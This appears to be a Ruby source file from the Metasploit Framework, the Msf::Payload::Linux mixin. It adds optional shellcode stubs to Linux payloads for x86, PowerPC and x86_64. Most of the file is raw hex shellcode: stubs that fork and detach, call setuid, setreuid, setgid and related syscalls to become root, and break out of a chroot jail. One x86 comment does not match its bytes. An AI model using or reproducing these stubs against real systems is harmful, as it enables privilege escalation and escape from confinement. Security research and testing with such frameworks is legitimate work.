431 lines
19 KiB
Ruby
431 lines
19 KiB
Ruby
# -*- coding: binary -*-
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require 'msf/core'
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###
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#
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# This class is here to implement advanced features for linux-based
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# payloads. Linux payloads are expected to include this module if
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# they want to support these features.
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#
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###
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module Msf::Payload::Linux
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#
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# This mixin is chained within payloads that target the Linux platform.
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# It provides special prepends, to support things like chroot and setuid.
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#
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def initialize(info = {})
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ret = super(info)
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register_advanced_options(
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[
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Msf::OptBool.new('PrependFork',
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[
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false,
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"Prepend a stub that executes: if (fork()) { exit(0); }",
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"false"
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]
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),
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Msf::OptBool.new('PrependSetresuid',
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[
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false,
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"Prepend a stub that executes the setresuid(0, 0, 0) system call",
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"false"
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]
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),
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Msf::OptBool.new('PrependSetreuid',
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[
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false,
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"Prepend a stub that executes the setreuid(0, 0) system call",
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"false"
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]
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),
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Msf::OptBool.new('PrependSetuid',
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[
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false,
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"Prepend a stub that executes the setuid(0) system call",
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"false"
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]
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),
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Msf::OptBool.new('PrependSetresgid',
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[
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false,
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"Prepend a stub that executes the setresgid(0, 0, 0) system call",
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"false"
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]
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),
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Msf::OptBool.new('PrependSetregid',
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[
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false,
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"Prepend a stub that executes the setregid(0, 0) system call",
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"false"
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]
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),
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Msf::OptBool.new('PrependSetgid',
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[
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false,
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"Prepend a stub that executes the setgid(0) system call",
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"false"
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]
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),
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Msf::OptBool.new('PrependChrootBreak',
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[
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false,
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"Prepend a stub that will break out of a chroot (includes setreuid to root)",
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"false"
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]
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),
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Msf::OptBool.new('AppendExit',
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[
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false,
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"Append a stub that executes the exit(0) system call",
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"false"
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]
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),
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], Msf::Payload::Linux)
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ret
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end
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#
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# Overload the generate() call to prefix our stubs
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#
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def generate(*args)
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# Call the real generator to get the payload
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buf = super(*args)
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pre = ''
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app = ''
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test_arch = [ *(self.arch) ]
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# Handle all x86 code here
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if (test_arch.include?(ARCH_X86))
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# Prepend
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if (datastore['PrependFork'])
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pre << "\x6a\x02" +# pushb $0x2 #
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"\x58" +# popl %eax #
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"\xcd\x80" +# int $0x80 ; fork #
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"\x85\xc0" +# test %eax,%eax #
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"\x74\x06" +# jz 0xf #
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"\x31\xc0" +# xor %eax,%eax #
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"\xb0\x01" +# movb $0x1,%al ; exit #
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"\xcd\x80" # int $0x80 #
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end
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if (datastore['PrependSetresuid'])
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# setresuid(0, 0, 0)
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pre << "\x31\xc9" +# xorl %ecx,%ecx #
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"\x31\xdb" +# xorl %ebx,%ebx #
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"\xf7\xe3" +# mull %ebx #
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"\xb0\xa4" +# movb $0xa4,%al #
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"\xcd\x80" # int $0x80 #
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end
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if (datastore['PrependSetreuid'])
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# setreuid(0, 0)
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pre << "\x31\xc9" +# xorl %ecx,%ecx #
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"\x31\xdb" +# xorl %ebx,%ebx #
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"\x6a\x46" +# pushl $0x46 #
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"\x58" +# popl %eax #
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"\xcd\x80" # int $0x80 #
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end
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if (datastore['PrependSetuid'])
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# setuid(0)
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pre << "\x31\xdb" +# xorl %ebx,%ebx #
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"\x6a\x17" +# pushl $0x17 #
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"\x58" +# popl %eax #
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"\xcd\x80" # int $0x80 #
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end
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if (datastore['PrependSetresgid'])
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# setresgid(0, 0, 0)
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pre << "\x31\xc9" +# xorl %ecx,%ecx #
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"\x31\xdb" +# xorl %ebx,%ebx #
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"\xf7\xe3" +# mull %ebx #
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"\xb0\xaa" +# movb $0xaa,%al #
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"\xcd\x80" # int $0x80 #
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end
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if (datastore['PrependSetregid'])
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# setregid(0, 0)
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pre << "\x31\xc9" +# xorl %ecx,%ecx #
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"\x31\xdb" +# xorl %ebx,%ebx #
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"\x6a\x47" +# pushl $0x47 #
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"\x58" +# popl %eax #
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"\xcd\x80" # int $0x80 #
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end
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if (datastore['PrependSetgid'])
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# setgid(0)
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pre << "\x31\xdb" +# xorl %ebx,%ebx #
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"\x6a\x2e" +# pushl $0x2e #
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"\x58" +# popl %eax #
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"\xcd\x80" # int $0x80 #
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end
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if (datastore['PrependChrootBreak'])
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# setreuid(0, 0)
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pre << "\x31\xc9" +# xorl %ecx,%ecx #
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"\x31\xdb" +# xorl %ebx,%ebx #
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"\x6a\x46" +# pushl $0x46 #
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"\x58" +# popl %eax #
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"\xcd\x80" # int $0x80 #
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# break chroot
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pre << "\x6a\x3d" +# pushl $0x3d #
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# build dir str (ptr in ebx)
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"\x89\xe3" +# movl %esp,%ebx #
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# mkdir(dir)
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"\x6a\x27" +# pushl $0x27 #
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"\x58" +# popl %eax #
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"\xcd\x80" +# int $0x80 #
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# chroot(dir)
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"\x89\xd9" +# movl %ebx,%ecx #
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"\x58" +# popl %eax #
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"\xcd\x80" +# int $0x80 #
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# build ".." str (ptr in ebx)
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"\x31\xc0" +# xorl %eax,%eax #
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"\x50" +# pushl %eax #
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"\x66\x68\x2e\x2e" +# pushw $0x2e2e #
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"\x89\xe3" +# movl %esp,%ebx #
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# loop changing dir
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"\x6a\x3d" +# pushl $0x1e #
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"\x59" +# popl %ecx #
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"\xb0\x0c" +# movb $0xc,%al #
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"\xcd\x80" +# int $0x80 #
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"\xe2\xfa" +# loop -6 #
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# final chroot
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"\x6a\x3d" +# pushl $0x3d #
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"\x89\xd9" +# movl %ebx,%ecx #
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"\x58" +# popl %eax #
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"\xcd\x80" # int $0x80 #
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end
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# Append exit(0)
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if (datastore['AppendExit'])
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app << "\x31\xdb" +# xorl %ebx,%ebx #
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"\x6a\x01" +# pushl $0x01 #
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"\x58" +# popl %eax #
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"\xcd\x80" # int $0x80 #
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end
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# Handle all Power/CBEA code here
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elsif (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ]))
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# Prepend
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if (datastore['PrependSetresuid'])
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# setresuid(0, 0, 0)
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pre << "\x3b\xe0\x01\xff" +# li r31,511 #
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"\x7c\xa5\x2a\x78" +# xor r5,r5,r5 #
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"\x7c\x84\x22\x78" +# xor r4,r4,r4 #
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"\x7c\x63\x1a\x78" +# xor r3,r3,r3 #
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"\x38\x1f\xfe\xa5" +# addi r0,r31,-347 #
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"\x44\xff\xff\x02" # sc #
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end
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if (datastore['PrependSetreuid'])
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# setreuid(0, 0)
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pre << "\x3b\xe0\x01\xff" +# li r31,511 #
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"\x7c\x84\x22\x78" +# xor r4,r4,r4 #
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"\x7c\x63\x1a\x78" +# xor r3,r3,r3 #
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"\x38\x1f\xfe\x47" +# addi r0,r31,-441 #
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"\x44\xff\xff\x02" # sc #
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end
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if (datastore['PrependSetuid'])
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# setuid(0)
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pre << "\x3b\xe0\x01\xff" +# li r31,511 #
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"\x7c\x63\x1a\x78" +# xor r3,r3,r3 #
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"\x38\x1f\xfe\x18" +# addi r0,r31,-488 #
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"\x44\xff\xff\x02" # sc #
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end
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if (datastore['PrependSetresgid'])
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# setresgid(0, 0, 0)
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pre << "\x3b\xe0\x01\xff" +# li r31,511 #
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"\x7c\xa5\x2a\x78" +# xor r5,r5,r5 #
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"\x7c\x84\x22\x78" +# xor r4,r4,r4 #
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"\x7c\x63\x1a\x78" +# xor r3,r3,r3 #
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"\x38\x1f\xfe\xab" +# addi r0,r31,-341 #
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"\x44\xff\xff\x02" # sc #
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end
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if (datastore['PrependSetregid'])
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# setregid(0, 0)
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pre << "\x3b\xe0\x01\xff" +# li r31,511 #
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"\x7c\x84\x22\x78" +# xor r4,r4,r4 #
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"\x7c\x63\x1a\x78" +# xor r3,r3,r3 #
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"\x38\x1f\xfe\x48" +# addi r0,r31,-440 #
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"\x44\xff\xff\x02" # sc #
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end
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if (datastore['PrependSetgid'])
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# setgid(0)
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pre << "\x3b\xe0\x01\xff" +# li r31,511 #
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"\x7c\x63\x1a\x78" +# xor r3,r3,r3 #
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"\x38\x1f\xfe\x2f" +# addi r0,r31,-465 #
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"\x44\xff\xff\x02" # sc #
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end
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if (datastore['PrependChrootBreak'])
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# setreuid(0, 0)
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pre << "\x3b\xe0\x01\xff" +# li r31,511 #
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"\x7c\x84\x22\x78" +# xor r4,r4,r4 #
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"\x7c\x63\x1a\x78" +# xor r3,r3,r3 #
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"\x38\x1f\xfe\x47" +# addi r0,r31,-441 #
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"\x44\xff\xff\x02" # sc #
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# EEK! unsupported...
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end
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# Append exit(0)
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if (datastore['AppendExit'])
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app << "\x3b\xe0\x01\xff" +# li r31,511 #
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"\x7c\x63\x1a\x78" +# xor r3,r3,r3 #
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"\x38\x1f\xfe\x02" +# addi r0,r31,-510 #
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"\x44\xff\xff\x02" # sc #
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end
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elsif (test_arch.include?(ARCH_X86_64))
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if (datastore['PrependFork'])
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# if (fork()) { exit(0); }
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pre << "\x6a\x39" # push 57 ; __NR_fork #
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pre << "\x58" # pop rax #
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pre << "\x0f\x05" # syscall #
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pre << "\x48\x85\xc0" # test rax,rax #
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pre << "\x74\x08" # jz 0x08 #
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pre << "\x48\x31\xff" # xor rdi,rdi #
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pre << "\x6a\x3c" # push 60 ; __NR_exit #
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pre << "\x58" # pop rax #
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pre << "\x0f\x05" # syscall #
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end
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if (datastore['PrependSetresuid'])
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# setresuid(0, 0, 0)
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pre << "\x48\x31\xff" # xor rdi,rdi #
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pre << "\x48\x89\xfe" # mov rsi,rdi #
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pre << "\x6a\x75" # push 0x75 #
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pre << "\x58" # pop rax #
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pre << "\x0f\x05" # syscall #
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end
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if (datastore['PrependSetreuid'])
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# setreuid(0, 0)
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pre << "\x48\x31\xff" # xor rdi,rdi #
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pre << "\x48\x89\xfe" # mov rsi,rdi #
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pre << "\x48\x89\xf2" # mov rdx,rsi #
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pre << "\x6a\x71" # push 0x71 #
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pre << "\x58" # pop rax #
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pre << "\x0f\x05" # syscall #
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end
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if (datastore['PrependSetuid'])
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# setuid(0)
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pre << "\x48\x31\xff" # xor rdi,rdi #
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pre << "\x6a\x69" # push 0x69 #
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pre << "\x58" # pop rax #
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pre << "\x0f\x05" # syscall #
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end
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if (datastore['PrependSetresgid'])
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# setresgid(0, 0, 0)
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pre << "\x48\x31\xff" # xor rdi,rdi #
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pre << "\x48\x89\xfe" # mov rsi,rdi #
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pre << "\x6a\x77" # push 0x77 #
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pre << "\x58" # pop rax #
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pre << "\x0f\x05" # syscall #
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end
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if (datastore['PrependSetregid'])
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# setregid(0, 0)
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pre << "\x48\x31\xff" # xor rdi,rdi #
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pre << "\x48\x89\xfe" # mov rsi,rdi #
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pre << "\x48\x89\xf2" # mov rdx,rsi #
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pre << "\x6a\x72" # push 0x72 #
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pre << "\x58" # pop rax #
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pre << "\x0f\x05" # syscall #
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end
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if (datastore['PrependSetgid'])
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# setgid(0)
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pre << "\x48\x31\xff" # xor rdi,rdi #
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pre << "\x6a\x6a" # push 0x6a #
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pre << "\x58" # pop rax #
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pre << "\x0f\x05" # syscall #
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end
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if (datastore['PrependChrootBreak'])
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# setreuid(0, 0)
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pre << "\x48\x31\xff" # xor rdi,rdi #
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pre << "\x48\x89\xfe" # mov rsi,rdi #
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pre << "\x48\x89\xf8" # mov rax,rdi #
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pre << "\xb0\x71" # mov al,0x71 #
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pre << "\x0f\x05" # syscall #
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# generate temp dir name
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pre << "\x48\xbf" # mov rdi, #
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pre << Rex::Text.rand_text_alpha(8) # random #
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pre << "\x56" # push rsi #
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pre << "\x57" # push rdi #
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# mkdir(random,0755)
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pre << "\x48\x89\xe7" # mov rdi,rsp #
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pre << "\x66\xbe\xed\x01" # mov si,0755 #
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pre << "\x6a\x53" # push 0x53 #
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pre << "\x58" # pop rax #
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pre << "\x0f\x05" # syscall #
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# chroot(random)
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pre << "\x48\x31\xd2" # xor rdx,rdx #
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pre << "\xb2\xa1" # mov dl,0xa1 #
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pre << "\x48\x89\xd0" # mov rax,rdx #
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pre << "\x0f\x05" # syscall #
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# build .. (ptr in rdi )
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pre << "\x66\xbe\x2e\x2e" # mov si,0x2e2e #
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pre << "\x56" # push rsi #
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pre << "\x48\x89\xe7" # mov rdi,rsp #
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# loop chdir(..) 69 times
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# syscall tend to modify rcx can't use loop...
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pre << "\x6a\x45" # push 0x45 #
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pre << "\x5b" # pop rbx #
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pre << "\x6a\x50" # push 0x50 #
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pre << "\x58" # pop rax #
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pre << "\x0f\x05" # syscall #
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pre << "\xfe\xcb" # dec bl #
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pre << "\x75\xf7" # jnz -7 #
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# chroot (.) (which should be /)
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pre << "\x6a\x2e" # push . (0x2e) #
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pre << "\x48\x89\xe7" # mov rdi,rsp #
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pre << "\x48\x89\xd0" # mov rax,rdx #
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pre << "\x0f\x05" # syscall #
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end
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# Append exit(0)
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if (datastore['AppendExit'])
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app << "\x48\x31\xff" # xor rdi,rdi #
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app << "\x6a\x3c" # push 0x3c #
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app << "\x58" # pop rax #
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app << "\x0f\x05" # syscall #
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end
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end
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return (pre + buf + app)
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end
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end
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